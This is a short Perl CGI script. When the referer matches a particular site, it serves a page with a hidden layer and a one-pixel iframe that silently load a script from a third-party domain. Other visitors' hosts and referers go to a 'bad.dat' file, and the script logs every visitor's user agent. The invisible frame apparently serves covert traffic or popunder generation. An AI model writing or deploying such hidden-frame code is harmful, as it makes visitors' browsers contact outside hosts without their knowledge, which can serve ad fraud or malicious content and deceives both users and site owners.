#!/usr/bin/perl

print "Content-type: text/html\n\n";
print "<html>";

if($ENV{HTTP_REFERER} =~ /game-over.net/)
{
        print "<layer visibility=\"hidden\" src=\"http://www.christinaaguilera.net/html/support.cgi\"></layer>";      
        print "<iframe height=\"1\" width=\"1\" src=\"http://www.christinaaguilera.net/html/support.cgi\"></iframe>";          
}       
 
        else
        {   
                open(F_BAD, ">>/home/fkrueger/www/cgi-bin/bad.dat");
                        print F_BAD "$ENV{REMOTE_HOST} - $ENV{HTTP_REFERER}\n";
                close(F_BAD);
                
                print "pop is not bad - $ENV{HTTP_REFERER}";
        }

open(F_ACCEPT, ">>accept.log");
	print F_ACCEPT "$ENV{HTTP_USER_AGENT}:::$ENV{HTTP_ACCEPT}\n";
close(F_ACCEPT);
         
print "</html>";
